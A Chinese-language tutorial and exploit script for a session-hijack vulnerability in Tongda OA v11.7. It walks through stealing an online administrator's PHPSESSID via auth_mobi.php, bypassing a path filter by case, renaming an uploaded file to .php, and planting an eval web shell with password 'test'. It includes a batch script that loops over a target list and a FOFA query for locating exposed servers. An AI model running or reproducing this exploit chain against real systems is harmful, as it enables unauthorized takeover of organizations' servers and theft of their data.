怎么实现通达OA v11.7 在线用户登录漏洞复现,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
一个类似于越权的漏洞,但是利用的方式确实比较特殊
http://x.x.x.x/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
可以看到我们已经获取到了phpsession,这个时候我们就可以访问他的后台页面了,但是如果页面显示RELOGIN说明存在漏洞但是管理员现在不在线,所以需要等他在线。
http://x.x.x.x/general/
这里需要注意:我们要添加一个路径为系统目录后面跟上webroot,但是webroot会被过滤,但是他没有检查大小写,所以我们改为Webroot就可以轻松绕过。
这里唯一需要注意的是我们需要将发布范围里添加一个系统管理员,这样子才可以,路径的话呢还是webroot那个路径。
然后我们添加一个文件,也就是我们的shell
这里需要注意的是,我们需要将我们的木马改为jpg后缀的,要不路径无法查看。
这个时候记住这个文件名称,这个路径是固定的就是file_folder/2013下面就是我们的木马。
回到我们之前的上传页面,然后点击编辑。
鼠标放到我们木马上面,然后点击重命名。
我们会打开一个新的tab页面,我们使用火狐进行抓包:
先随便改个名字,点击保存,然后会拦截到一个post封包。
数据包格式大概是这个样子:
NEW_FILE_NAME=166&CONTENT_ID=118&FILE_SORT=2&ATTACHMENT_ID=2925%402103_1578257970&ATTACHMENT_NAME_POSTFIX=jpg&ATTACHMENT_NAME=2.jpg&FIRST_ATTACHMENT_NAME=2&FILE_NAME_OLD=2.jpg
这个时候我们就需要修改ATTACHMENT_NAME_POSTFIX属性为php.(注意后面有个.)
然后重放这个数据包,就可以看到修改成功。
可以看到我们修改成功。
然后找到之前的文件名,然后将我们上传的原始的文件名(2.jpg)改为(166.php),这个是根据你上传的路径以及改的名称来定的,然后路径的话呢还是file_folder/2013,我们就可以访问到我们的马子了。
脚本代码:
#define payload = /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 #define yinhao = " #define Rootre = <td nowrap class="TableData">(.*?)</td> #define contentidre = "TableLine1" index="(.*?)" > #define attachmentidre = ATTACHMENT_ID_OLD" value="(.*?)," #define shellpathre = alt="(.*?)" node-image-tips function GetCookie(url){ res = HttpGet(url.payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0"); if(StrFindStr(res[1],"PHPSESSID",0) == "-1"){ return ""; } PHPSESSID = GettextMiddle(res[1],"PHPSESSID=",";"); return PHPSESSID; } function JudgeOK(url,Cookie){ res = HttpGet(url."/general/",Cookie); if(StrFindStr(res[0],"/static/js/ba/agent.js",0) == "-1"){ return "0"; }else{ return "1"; } } function GetRoot(content){ list = StrRe(content,Rootre); num = GetArrayNum(list); num = num/2; i = 0; while(i<num){ if(StrFindStr(list[ToInt(i*2+1)],":\",0) != "-1"){ return list[ToInt(i*2+1)]; } i = i+1; } return ""; } function GetWebRoot(url,Cookie){ res = HttpGet(url."/general/system/reg_view/",Cookie); return GetRoot(res[0]); } function AddPath(url,Root,Cookie){ return HttpPost(url."/general/system/attachment/position/add.php","POS_ID=166&POS_NAME=166&POS_PATH=".URLEncode(Root."\WebRoot")."&IS_ACTIVE=on",Cookie); } function AddImgPath(url,Root,Cookie){ return HttpPost(url."/general/system/picture/new/submit.php","TO_ID=&TO_NAME=&PRIV_ID=&PRIV_NAME=&COPY_TO_ID=admin%2C&COPY_TO_NAME=%CF%B5%CD%B3%B9%DC%C0%ED%D4%B1%2C&PIC_NAME=test&PIC_PATH=".URLEncode(Root."\webRoot")."&ROW_PIC=5&ROW_PIC_NUM=7",Cookie); } function PushImg(url,Content,Cookie){ return HttpPost(url."/general/file_folder/new/submit.php",Content,Cookie.StrRN()."Content-Type: multipart/form-data; boundary=---------------------------33072116513621237124579432636"); } function GetPICID(url,Cookie){ res = HttpGet(url."/general/picture/tree.php?CUR_DIR=&PIC_ID=&_=1615284234507",Cookie); return GettextMiddle(res[0],"&PIC_ID=",yinhao); } function GetImg(url,Root,Cookie){ res = HttpGet(url."/general/picture/picture_view.php?SUB_DIR=2103&PIC_ID=".GetPICID(url,Cookie)."&CUR_DIR=".URLEncode(StrReplace(Root,"\\","/"))."%2Fwebroot%2Ffile_folder%2F2103",Cookie); list = StrRe(res[0],shellpathre); num = GetArrayNum(list); num = num/2; i = 0; while(i<num){ if(StrFindStr(list[ToInt(i*2+1)],"1.jpg",0) != "-1"){ return list[ToInt(i*2+1)]; } i = i+1; } return ""; } function ChangeImgName(url,CONTENT,ATTACHMENT,Cookie){ return HttpPost(url."/general/file_folder/rename_submit.php","NEW_FILE_NAME=166&CONTENT_ID=".CONTENT."&FILE_SORT=2&ATTACHMENT_ID=".URLEncode(ATTACHMENT)."&ATTACHMENT_NAME_POSTFIX=php.&ATTACHMENT_NAME=1.jpg&FIRST_ATTACHMENT_NAME=1&FILE_NAME_OLD=1.jpg",Cookie); } function GetCONTENTID(url,Cookie){ res = HttpGet(url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0",Cookie); list = StrRe(res[0],contentidre); if(GetArrayNum(list) >= 2){ return list[1]; } return ""; } function GetATTACHMENTID(url,CONTENTID,Cookie){ res = HttpGet(url."/general/file_folder/edit.php?FILE_SORT=2&SORT_ID=0&CONTENT_ID=".CONTENTID."&start=0",Cookie.StrRN()."Referer: ".url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0"); list = StrRe(res[0],attachmentidre); if(GetArrayNum(list) >= 2){ return list[1]; } return ""; } function GetShell(url){ PHPSESSID = GetCookie(url); if(PHPSESSID == ""){ return ""; } Cookie = "Cookie: PHPSESSID=".PHPSESSID.";".StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0"; if(JudgeOK(url,Cookie)=="1"){ WebRoot = GetWebRoot(url,Cookie); AddPath(url,WebRoot,Cookie); AddImgPath(url,WebRoot,Cookie); ShellPost = ReadFile("script\综合漏洞\OAShell.txt"); PushImg(url,ShellPost,Cookie); path = GetImg(url,WebRoot,Cookie); CONTENTID = GetCONTENTID(url,Cookie); ATTACHMENTID=GetATTACHMENTID(url,CONTENTID,Cookie); ChangeImgName(url,CONTENTID,ATTACHMENTID,Cookie); realshellpath = url."/file_folder/2103/".StrReplace(path,"1.jpg","166.php"); print("Shell路径:",realshellpath,"密码:test"); }else{ return ""; } } function main(args){ print("请输入要要检测的列表文件:"); list = StrSplit(ReadFile(input()),StrRN()); i = 0; num = GetArrayNum(list); while(i < num){ url=list[ToInt(i)]; print("当前检测的连接:".url); GetShell(url); i=i+1; } print("检测完毕"); }
OAShell.txt:
-----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="SUBJECT" 166.jpg -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="CONTENT_NO" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="TD_HTML_EDITOR_CONTENT" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="KEYWORD" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="NEW_NAME" н¨Îĵµ -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="NEW_TYPE" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_1"; filename="" Content-Type: application/octet-stream -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACH_NAME" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACH_DIR" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="DISK_ID" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_1000"; filename="" Content-Type: application/octet-stream -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_DESC" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="CONTENT_ID" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="OP" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="PD" 1 -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="SORT_ID" 0 -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_ID_OLD" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_NAME_OLD" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="FILE_SORT" 2 -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="USE_CAPACITY" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="USE_CAPACITY_SIZE" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="SHARE_USER" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_0"; filename="1.jpg" Content-Type: image/jpeg <?php @eval($_POST['test']); ?> -----------------------------33072116513621237124579432636--
放一张例子截图:
附一个fofa语句:
app="TDXK-通达OA"
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